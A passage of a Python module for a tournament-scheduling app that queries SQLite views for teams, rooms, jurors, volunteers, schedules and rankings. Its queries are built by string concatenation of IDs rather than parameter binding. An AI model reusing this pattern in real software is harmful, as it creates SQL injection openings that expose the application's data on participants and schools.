tmp_member_list = []\n tmp_team_info = ()\n for row in result_rows:\n if row[2] != current_mteam_code:\n if current_mteam_code >0:\n tmp_tuple2 = (current_mteam_code, tmp_mteam_name, tmp_team_info, tmp_member_list)\n mteam_list.append(tmp_tuple2)\n\n current_mteam_code = row[2]\n tmp_mteam_name = row[5]\n #EVENT_ID, PLAN_ID, MTEAM_CODE, MTEAM_ID, EVENT_TEAM_ID, TEAM_NAME 0-5\n # team lead info: 15-19\n tmp_team_info = (row[0], row[1], row[3], row[4], row[15], row[16] + \" \" + row[17], row[18], row[19], row[6], row[7], row[8], row[9])\n tmp_member_list = []\n #\"SCHOOL_ID, SCHOOL_NAME, SCHOOL_CITY, SCHOOL_PROVINCE, \" - index 6-9\n #\"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, TEAM_MEMBER_DOB, \" - index 10-14\n # old good version: tmp_tuple_member = (row[10], row[11], row[12] + \" \" + row[13], row[14], row[6], row[7], row[8], row[9])\n tmp_tuple_member = (row[10], row[11], row[12] + \" \" + row[13], row[14], row[6], row[7], row[8], row[9])\n tmp_member_list.append(tmp_tuple_member)\n\n if current_mteam_code >0:\n tmp_tuple2 = (current_mteam_code, tmp_mteam_name, tmp_team_info, tmp_member_list)\n mteam_list.append(tmp_tuple2)\n\n return mteam_list\n\n\n# Search all the mrooms for specific plan order by mroom code from view\ndef search_mrooms(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, PLAN_ID, EVENT_ROOM_ID, MROOM_CODE, MROOM_LABEL, MROOM_COI_SIDS, MROOM_STATUS, \" \\\n \"ROOM_NUMBER, ROOM_PURPOSE, ROOM_STATUS, ROOM_TELEC, ROOM_TYPE, ROOM_USAGE_NUM, MROOM_ID \" \\\n \"FROM v_mrooms \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, MROOM_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the mrooms for specific plan order by mroom code from view\ndef get_mrooms(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mrooms(plan_id, app_db_web_location)\n current_mteam_code = 0\n tmp_mteam_name = None\n mroom_list = []\n tmp_member_list = []\n tmp_team_info = ()\n for row in result_rows:\n #\"EVENT_ID, PLAN_ID, EVENT_ROOM_ID, MROOM_CODE, MROOM_LABEL, MROOM_COI_SIDS, MROOM_STATUS, \" - 0-\n #\"ROOM_NUMBER, ROOM_PURPOSE, ROOM_STATUS, ROOM_TELEC, ROOM_TYPE, ROOM_USAGE_NUM, MROOM_ID \" 7-13\n tmp_room_info = (row[0], row[1], row[2], row[5], row[6], row[7], row[8], row[9], row[10], row[11], row[12], row[13])\n tmp_room = (row[3], row[4], tmp_room_info)\n mroom_list.append(tmp_room)\n\n return mroom_list\n\n\n# Search all the mjuros for specific plan order by mjuror code from view\ndef search_mjurors(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, PLAN_ID, MJUROR_ID, MJUROR_CODE, PPANT_ID, PPANT_USER_ID, \" \\\n \"MJUROR_STATUS, MJUROR_TIMESLOTS, MJUROR_TYPE, PPANT_FIRST_NAME, PPANT_LAST_NAME, \" \\\n \"IS_CHAIR, CHAIR_ROOM_ID, \" \\\n \"HAS_COI, MJUROR_COI_SIDS, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\\n \"IS_TL, JUROR_EXPERIENCE, PARTICIPANT_ROLE_TYPE \" \\\n \"FROM v_mjurors \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, MJUROR_CODE, IS_CHAIR DESC, COI_SCHOOL_ID\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the mjuros for specific plan order by mjuror code from view\ndef get_mjurors(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mjurors(plan_id, app_db_web_location)\n current_mjuror_code = 0\n tmp_mjuror_name = None\n tmp_has_cois = 0\n mjuror_list = []\n tmp_juror_cois_list = []\n tmp_juror_info = ()\n for row in result_rows:\n if row[3] != current_mjuror_code:\n if current_mjuror_code >0:\n tmp_tuple2 = (current_mjuror_code, tmp_mjuror_name, tmp_juror_info, tmp_has_cois, tmp_juror_cois_list)\n mjuror_list.append(tmp_tuple2)\n\n current_mjuror_code = row[3]\n tmp_mjuror_name = row[9] + \" \" + row[10]\n tmp_has_cois = row[13]\n #\"EVENT_ID, PLAN_ID, MJUROR_ID, MJUROR_CODE, PPANT_ID, PPANT_USER_ID, \" \\ 0-5\n #\"MJUROR_STATUS, MJUROR_TIMESLOTS, MJUROR_TYPE, PPANT_FIRST_NAME, PPANT_LAST_NAME, \" \\ 6-10\n #\"IS_CHAIR, CHAIR_ROOM_ID, **CHAIR_ROOM_CODE, CHAIR_ROOM_LABEL,** \" \\ 11-14 **- 2: 11-12\n #\"HAS_COI, MJUROR_COI_SIDS, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\ 15-20 ** 13-18\n #\"IS_TL, JUROR_EXPERIENCE, PARTICIPANT_ROLE_TYPE \" \\ 21-23 ** 19-21\n tmp_juror_info = (row[0], row[1], row[2], row[4], row[5], row[7], row[8], row[11], row[12], row[14], row[19], row[21])\n tmp_juror_cois_list = []\n # \"HAS_COI, MJUROR_COI_SIDS, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" 15-20 ** 13-18\n tmp_tuple_juror_cois = (row[15], row[16], row[17], row[18])\n tmp_juror_cois_list.append(tmp_tuple_juror_cois)\n\n if current_mjuror_code >0:\n tmp_tuple2 = (current_mjuror_code, tmp_mjuror_name, tmp_juror_info, tmp_has_cois, tmp_juror_cois_list)\n mjuror_list.append(tmp_tuple2)\n\n return mjuror_list\n\n\n# Search all the mvolunteers for specific plan order by mroom code from view\ndef search_mvolunteers(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, PLAN_ID, MROOM_ID, MROOM_CODE, MROOM_LABEL, MVOLUNTEER_ID, MVOLUNTEER_CODE, PPANT_ID, PPANT_USER_ID, \" \\\n \"HAS_COI, MVOLUNTEER_COI_SIDS, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\\n \"DATA_ENTRY, MVOLUNTEER_STATUS, MVOLUNTEER_TIMESLOTS, MVOLUNTEER_TYPE, PPANT_DOB, \" \\\n \"PPANT_FIRST_NAME, PPANT_LAST_NAME, IS_TL, PARTICIPANT_ROLE_TYPE \" \\\n \"FROM v_mvolunteers \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, MROOM_CODE, DATA_ENTRY DESC, MVOLUNTEER_ID, COI_SCHOOL_ID\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the mvolunteers for specific plan order by mroom code from view\ndef get_mvolunteers(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mvolunteers(plan_id, app_db_web_location)\n current_mroom_code = 0\n tmp_mroom_label = None\n tmp_mvolunteer_id = 0\n mvolunteer_list = []\n tmp_room_volunteers = []\n tmp_volunteer_cois_list = []\n tmp_mvolunteer_code = 0\n tmp_has_cois = 0\n tmp_mvolunteer_info = ()\n tmp_mvolunteer_name = None\n for row in result_rows:\n if row[3] != current_mroom_code:\n if tmp_mvolunteer_id > 0:\n tmp_tuple1 = (tmp_mvolunteer_id, tmp_mvolunteer_code, tmp_mvolunteer_name, tmp_mvolunteer_info, tmp_has_cois, tmp_volunteer_cois_list)\n tmp_room_volunteers.append(tmp_tuple1)\n\n if current_mroom_code >0:\n tmp_tuple2 = (current_mroom_code, tmp_mroom_label, tmp_room_volunteers)\n mvolunteer_list.append(tmp_tuple2)\n\n current_mroom_code = row[3]\n tmp_room_volunteers = []\n tmp_volunteer_cois_list = []\n tmp_mroom_label = row[4]\n tmp_mvolunteer_id = row[5]\n tmp_mvolunteer_code = row[6]\n tmp_has_cois = row[9]\n tmp_mvolunteer_name = row[20] + \" \" + row[21]\n #\"EVENT_ID, PLAN_ID, MROOM_ID, MROOM_CODE, MROOM_LABEL, MVOLUNTEER_ID, MVOLUNTEER_CODE, PPANT_ID, PPANT_USER_ID, \" 0-8\n #\"HAS_COI, MVOLUNTEER_COI_SIDS, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\ 9-14\n #\"DATA_ENTRY, MVOLUNTEER_STATUS, MVOLUNTEER_TIMESLOTS, MVOLUNTEER_TYPE, PPANT_DOB, \" \\ 15-19\n #\"PPANT_FIRST_NAME, PPANT_LAST_NAME, IS_TL, PARTICIPANT_ROLE_TYPE \" 20-23\n tmp_mvolunteer_info = (row[0], row[1], row[2], row[7], row[8], row[10], row[15], row[16], row[17], row[18], row[23])\n\n if row[5] != tmp_mvolunteer_id:\n if tmp_mvolunteer_id > 0:\n tmp_tuple1 = (tmp_mvolunteer_id, tmp_mvolunteer_code, tmp_mvolunteer_name, tmp_mvolunteer_info, tmp_has_cois, tmp_volunteer_cois_list)\n tmp_room_volunteers.append(tmp_tuple1)\n\n tmp_volunteer_cois_list=[]\n tmp_mvolunteer_id = row[5]\n tmp_mvolunteer_code = row[6]\n tmp_has_cois = row[9]\n tmp_mvolunteer_name = row[20] + \" \" + row[21]\n tmp_mvolunteer_info = (row[0], row[1], row[2], row[7], row[8], row[10], row[15], row[16], row[17], row[18], row[23])\n\n #\"HAS_COI, MVOLUNTEER_COI_SIDS, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" - 9-14\n tmp_tuple_cois = (row[11], row[12], row[13], row[14])\n tmp_volunteer_cois_list.append(tmp_tuple_cois)\n\n if tmp_mvolunteer_id > 0:\n tmp_tuple1 = (tmp_mvolunteer_id, tmp_mvolunteer_code, tmp_mvolunteer_name, tmp_mvolunteer_info, tmp_has_cois, tmp_volunteer_cois_list)\n tmp_room_volunteers.append(tmp_tuple1)\n\n if current_mroom_code > 0:\n tmp_tuple2 = (current_mroom_code, tmp_mroom_label, tmp_room_volunteers)\n mvolunteer_list.append(tmp_tuple2)\n\n return mvolunteer_list\n\n\n# Get and search volunteer schedule based on ppant_user_id\ndef get_volunteer_schedue(event_id, plan_id, ppant_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n # search MJUROR_CODE by PPANT_USER_ID\n command = \"SELECT DISTINCT MVOLUNTEER_CODE, MROOM_CODE, MROOM_LABEL, DATA_ENTRY, PPANT_FIRST_NAME, PPANT_LAST_NAME \" \\\n \"FROM v_mvolunteers \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND PPANT_USER_ID=\" + str(ppant_user_id) + \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n volunteer_schedule = None\n for row in result:\n volunteer_schedule = (row[0], row[1], row[2], row[3], row[4], row[5])\n break\n\n return volunteer_schedule\n\n\n# Search juror schedule based on ppant_user_id\ndef search_juror_schedue(event_id, plan_id, ppant_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n # search MJUROR_CODE by PPANT_USER_ID\n command = \"SELECT DISTINCT MJUROR_CODE \" \\\n \"FROM v_mjurors \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND PPANT_USER_ID=\" + str(ppant_user_id) + \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n juror_code = 0\n for row in result:\n juror_code = row[0]\n break\n\n if juror_code > 0:\n command = \"SELECT \" \\\n \"MPAIR_ID, EVENT_ROUND_ID2, MROOM_ID2, \" \\\n \"ROUND_CODE, MROOM_CODE, MJUROR_CODE, MJUROR_ID, MPAIR_JUROR_TYPE \" \\\n \"FROM v_mpair_juror \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MJUROR_CODE=\" + str(juror_code) + \" \" \\\n \"ORDER by ROUND_CODE, MROOM_CODE\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n else:\n return None\n\n\n# get juror schedule based on ppant_user_id\ndef get_juror_schedue(event_id, plan_id, ppant_user_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_juror_schedue(event_id, plan_id, ppant_user_id, app_db_web_location)\n juror_schedule = []\n juror_code = result_rows[0][5]\n for row in result_rows:\n juror_schedule.append(row[4])\n\n return (juror_code, juror_schedule)\n\n\n# Search my team schedule based on ppant_user_id\ndef search_my_team_schedue(event_id, plan_id, ppant_user_id, schedule_type, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n command = None\n if schedule_type == 1 or schedule_type == 13:\n # search mteam_code(s) by team_lead_id\n command = \"SELECT DISTINCT MTEAM_CODE \" \\\n \"FROM v_mteams \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND TEAM_LEAD_ID=\" + str(ppant_user_id) + \" \" \\\n \"AND MTEAM_STATUS='Active' \" \\\n \"ORDER by MTEAM_CODE;\"\n elif schedule_type == 2:\n # search mteam_code by team_member_user_id\n command = \"SELECT DISTINCT MTEAM_CODE \" \\\n \"FROM v_mteams \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND TEAM_MEMBER_USER_ID=\" + str(ppant_user_id) + \" \" \\\n \"AND MTEAM_STATUS='Active' \" \\\n \"ORDER by MTEAM_CODE;\"\n else:\n return None\n\n _c.execute(command)\n result = _c.fetchall()\n my_team_codes = []\n for row in result:\n my_team_codes.append(row[0])\n\n if my_team_codes is not None and len(my_team_codes) > 0:\n if len(my_team_codes) == 1:\n mteam_code = my_team_codes[0]\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" \\\n \"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE \" \\\n \"FROM v_mpair_team \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MTEAM_CODE=\" + str(mteam_code) + \" \" \\\n \"ORDER by PLAN_ID, MTEAM_CODE, ROUND_CODE, MROOM_CODE\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" \\\n \"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE \" \\\n \"FROM v_mpair_team \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \"\n i = 0\n for mteam_code in my_team_codes:\n i += 1\n if i == 1:\n command = command + \"AND (MTEAM_CODE=\" + str(mteam_code) + \" \"\n else:\n command = command + \"OR MTEAM_CODE=\" + str(mteam_code) + \" \"\n command = command + \") \" \\\n \"ORDER by PLAN_ID, MTEAM_CODE, ROUND_CODE, MROOM_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n else:\n return None\n\n\n# get my team schedule based on ppant_user_id\ndef get_my_team_schedue(event_id, plan_id, ppant_user_id, schedule_type, app_db_web_location=app_db_web_location_default):\n result_rows = search_my_team_schedue(event_id, plan_id, ppant_user_id, schedule_type, app_db_web_location)\n current_mteam_code = 0\n my_team_schedule = []\n tmp_team_round_room = []\n for row in result_rows:\n if row[6] != current_mteam_code:\n if current_mteam_code >0:\n tmp_tuple2 = (current_mteam_code, tmp_team_round_room)\n my_team_schedule.append(tmp_tuple2)\n\n current_mteam_code = row[6]\n tmp_team_round_room = []\n tmp_team_round_room.append(row[8])\n\n if current_mteam_code >0:\n tmp_tuple2 = (current_mteam_code, tmp_team_round_room)\n my_team_schedule.append(tmp_tuple2)\n\n return my_team_schedule\n\n\n# Search all the paired teams for specific plan order to by team code\ndef search_mpair_by_team(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" \\\n \"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE, \" \\\n \"MPAIR_STAGE_STATUS_CODE, SP, FIGHT_WON \" \\\n \"FROM v_mpair_team \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by MTEAM_CODE, MPAIR_TEAM_ID\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the teams' ranking for specific plan id and selective matches\ndef get_sm_team_rank(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair_by_team(plan_id, app_db_web_location)\n current_mteam_code = 0\n tmp_mteam_total_scores = 0\n tmp_mteam_total_rounds_counted = 0\n tmp_mteam_total_won_times = 0\n tmp_mteam_id = 0\n sm_team_rank = []\n tmp_mteam_list = []\n tmp_mteam_total_score_list = []\n tmp_team_mpairs = []\n for row in result_rows:\n if row[6] != current_mteam_code:\n if current_mteam_code >0:\n tmp_tuple2 = (current_mteam_code, tmp_mteam_id, round(tmp_mteam_total_scores,1), tmp_mteam_total_won_times, tmp_mteam_total_rounds_counted, tmp_team_mpairs)\n tmp_mteam_list.append(tmp_tuple2)\n tmp_mteam_total_score_list.append(round(tmp_mteam_total_scores,1))\n\n current_mteam_code = row[6]\n tmp_mteam_id = row[7]\n tmp_team_mpairs = []\n tmp_mteam_total_scores = 0\n tmp_mteam_total_won_times = 0\n tmp_mteam_total_rounds_counted = 0\n\n #\"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" \\ 0-5\n #\"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE, \" \\ 6-10\n #\"MPAIR_STAGE_STATUS_CODE, SP, FIGHT_WON \" \\ 11-13\n tmp_tuple_team = (row[0], row[1], row[2], row[8], row[10], row[11], row[12], row[13])\n tmp_team_mpairs.append(tmp_tuple_team)\n if row[11] == 99:\n tmp_mteam_total_rounds_counted += 1\n tmp_mteam_total_scores += row[12]\n if row[13] is not None:\n tmp_mteam_total_won_times += row[13]\n\n if current_mteam_code > 0:\n tmp_tuple2 = (current_mteam_code, tmp_mteam_id, round(tmp_mteam_total_scores,1), tmp_mteam_total_won_times, tmp_mteam_total_rounds_counted, tmp_team_mpairs)\n tmp_mteam_list.append(tmp_tuple2)\n tmp_mteam_total_score_list.append(round(tmp_mteam_total_scores,1))\n\n # re-order the list by scores\n while True:\n max_value = max(tmp_mteam_total_score_list)\n max_index = tmp_mteam_total_score_list.index(max_value)\n sm_team_rank.append(tmp_mteam_list[max_index])\n tmp_mteam_total_score_list.pop(max_index)\n tmp_mteam_list.pop(max_index)\n if tmp_mteam_total_score_list is None or len(tmp_mteam_total_score_list) < 1:\n break\n return sm_team_rank\n\n\n# Search all the paired teams for specific plan order to by team code\ndef search_mpair_by_team_round(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" \\\n \"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE, \" \\\n \"MPAIR_STAGE_STATUS_CODE, SP, FIGHT_WON \" \\\n \"FROM v_mpair_team \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by MTEAM_CODE, ROUND_CODE, MPAIR_TEAM_ID\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the teams' ranking for specific plan id and selective matches by each round\ndef get_sm_team_rank_by_round(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair_by_team_round(plan_id, app_db_web_location)\n current_mteam_code = 0\n tmp_round_code = 0\n tmp_mteam_total_scores = 0\n tmp_mteam_total_rounds_counted = 0\n tmp_mteam_total_won_times = 0\n tmp_mteam_id = 0\n sm_team_rank = []\n tmp_mteam_list = []\n tmp_mteam_total_score_list = []\n tmp_team_mpairs = []\n tmp_team_rounds = []\n tmp_mteam_round_score = 0\n for row in result_rows:\n if row[6] != current_mteam_code:\n if tmp_round_code > 0:\n tmp_tuple1 = (tmp_round_code, tmp_mteam_round_score)\n tmp_team_rounds.append(tmp_tuple1)\n\n if current_mteam_code >0:\n tmp_tuple2 = (current_mteam_code, tmp_mteam_id, round(tmp_mteam_total_scores,1), tmp_mteam_total_won_times, tmp_mteam_total_rounds_counted, tmp_team_mpairs, tmp_team_rounds)\n tmp_mteam_list.append(tmp_tuple2)\n tmp_mteam_total_score_list.append(round(tmp_mteam_total_scores,1))\n\n current_mteam_code = row[6]\n tmp_mteam_id = row[7]\n tmp_team_mpairs = []\n tmp_mteam_total_scores = 0\n tmp_mteam_round_score = 0\n tmp_mteam_total_won_times = 0\n tmp_mteam_total_rounds_counted = 0\n tmp_team_rounds = []\n tmp_round_code = row[10]\n\n if row[10] != tmp_round_code:\n if tmp_round_code > 0:\n tmp_tuple1 = (tmp_round_code, tmp_mteam_round_score)\n tmp_team_rounds.append(tmp_tuple1)\n tmp_round_code = row[10]\n tmp_mteam_round_score = 0\n\n #\"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" \\ 0-5\n #\"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE, \" \\ 6-10\n #\"MPAIR_STAGE_STATUS_CODE, SP, FIGHT_WON \" \\ 11-13\n tmp_tuple_team = (row[0], row[1], row[2], row[8], row[10], row[11], row[12], row[13])\n tmp_team_mpairs.append(tmp_tuple_team)\n if row[11] == 99:\n tmp_mteam_total_rounds_counted += 1\n tmp_mteam_total_scores += row[12]\n tmp_mteam_round_score += row[12]\n if row[13] is not None:\n tmp_mteam_total_won_times += row[13]\n\n if tmp_round_code > 0:\n tmp_tuple1 = (tmp_round_code, tmp_mteam_round_score)\n tmp_team_rounds.append(tmp_tuple1)\n\n if current_mteam_code > 0:\n tmp_tuple2 = (current_mteam_code, tmp_mteam_id, round(tmp_mteam_total_scores,1), tmp_mteam_total_won_times, tmp_mteam_total_rounds_counted, tmp_team_mpairs, tmp_team_rounds)\n tmp_mteam_list.append(tmp_tuple2)\n tmp_mteam_total_score_list.append(round(tmp_mteam_total_scores,1))\n\n # re-order the list by scores\n while True:\n max_value = max(tmp_mteam_total_score_list)\n max_index = tmp_mteam_total_score_list.index(max_value)\n sm_team_rank.append(tmp_mteam_list[max_index])\n tmp_mteam_total_score_list.pop(max_index)\n tmp_mteam_list.pop(max_index)\n if tmp_mteam_total_score_list is None or len(tmp_mteam_total_score_list) < 1:\n break\n return sm_team_rank\n\n\n# Search all the paired teams for specific plan order to by team code\ndef search_dstage_member_by_round(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_NAME, MTEAM_CODE, ROUND_CODE, MROOM_CODE, STAGE_CODE, \" \\\n \"POINT_WITH_FACTOR, MPAIR_STAGE_STATUS_CODE \" \\\n \"FROM v_dstage_teams \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by TEAM_MEMBER_ID, ROUND_CODE\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the teams' ranking for specific plan id and selective matches by each round\ndef get_sm_member_rank_by_round(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_dstage_member_by_round(plan_id, app_db_web_location)\n current_member_id = 0\n tmp_round_code = 0\n tmp_member_total_scores = 0\n tmp_member_total_fight_counted = 0\n tmp_member_name = None\n tmp_mteam_code = 0\n sm_member_rank = []\n tmp_member_list = []\n tmp_member_total_score_list = []\n tmp_member_rounds = []\n tmp_member_round_score = 0\n for row in result_rows:\n if row[0] != current_member_id:\n if tmp_round_code > 0:\n tmp_tuple1 = (tmp_round_code, tmp_member_round_score)\n tmp_member_rounds.append(tmp_tuple1)\n\n if current_member_id >0:\n tmp_tuple2 = (current_member_id, tmp_member_name, tmp_mteam_code, round(tmp_member_total_scores/tmp_member_total_fight_counted,1), tmp_member_total_fight_counted, tmp_member_rounds)\n tmp_member_list.append(tmp_tuple2)\n tmp_member_total_score_list.append(round(tmp_member_total_scores/tmp_member_total_fight_counted,1))\n\n current_member_id = row[0]\n tmp_member_name = row[1]\n tmp_mteam_code = row[2]\n tmp_member_total_scores = 0\n tmp_member_round_score = 0\n tmp_member_total_fight_counted = 0\n tmp_member_rounds = []\n tmp_round_code = row[3]\n\n if row[3] != tmp_round_code:\n if tmp_round_code > 0:\n tmp_tuple1 = (tmp_round_code, tmp_member_round_score)\n tmp_member_rounds.append(tmp_tuple1)\n tmp_round_code = row[3]\n tmp_member_round_score = 0\n\n if row[7] == 99:\n tmp_member_total_fight_counted += 1\n tmp_member_total_scores += row[6]\n tmp_member_round_score += row[6]\n\n if tmp_round_code > 0:\n tmp_tuple1 = (tmp_round_code, tmp_member_round_score)\n tmp_member_rounds.append(tmp_tuple1)\n\n if current_member_id > 0:\n tmp_tuple2 = (current_member_id, tmp_member_name, tmp_mteam_code, round(tmp_member_total_scores/tmp_member_total_fight_counted,1), tmp_member_total_fight_counted, tmp_member_rounds)\n tmp_member_list.append(tmp_tuple2)\n tmp_member_total_score_list.append(round(tmp_member_total_scores/tmp_member_total_fight_counted,1))\n\n # re-order the list by scores\n while True:\n max_value = max(tmp_member_total_score_list)\n max_index = tmp_member_total_score_list.index(max_value)\n sm_member_rank.append(tmp_member_list[max_index])\n tmp_member_total_score_list.pop(max_index)\n tmp_member_list.pop(max_index)\n if tmp_member_total_score_list is None or len(tmp_member_total_score_list) < 1:\n break\n\n for row in sm_member_rank:\n print(\"***---\", row[0], row[1])\n return sm_member_rank\n\n\n# Search all the paired teams for specific plan order to by round and room code\ndef search_schedue_by_round_room(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" \\\n \"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE, \" \\\n \"MPAIR_STAGE_STATUS_CODE, SP, FIGHT_WON, Field14 \" \\\n \"FROM v_mpair_team \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, ROUND_CODE, MROOM_CODE, MPAIR_ID, SP DESC\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the paired teams for specific plan order to by round and room code\ndef get_schedue_by_round_room(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_schedue_by_round_room(plan_id, app_db_web_location)\n current_round_code = 0\n tmp_room_code = 0\n event_schedule = []\n tmp_room_teams = []\n tmp_team_list = []\n tmp_mpair_stage_status = 0\n tmp_mpair_problem_guide = None\n tmp_mpair_id = 0\n for row in result_rows:\n if row[10] != current_round_code:\n if tmp_room_code > 0:\n tmp_tuple1 = (tmp_room_code, tmp_team_list, tmp_mpair_stage_status, tmp_mpair_id, tmp_mpair_problem_guide)\n tmp_room_teams.append(tmp_tuple1)\n\n if current_round_code >0:\n tmp_tuple2 = (current_round_code, tmp_room_teams)\n event_schedule.append(tmp_tuple2)\n\n current_round_code = row[10]\n tmp_room_code = row[8]\n tmp_mpair_stage_status = row[11]\n tmp_mpair_problem_guide = row[14]\n tmp_mpair_id = row[2]\n tmp_room_teams = []\n tmp_team_list = []\n\n if row[8] != tmp_room_code:\n if tmp_room_code > 0:\n tmp_tuple1 = (tmp_room_code, tmp_team_list, tmp_mpair_stage_status, tmp_mpair_id, tmp_mpair_problem_guide)\n tmp_room_teams.append(tmp_tuple1)\n\n tmp_team_list=[]\n tmp_room_code = row[8]\n tmp_mpair_stage_status = row[11]\n 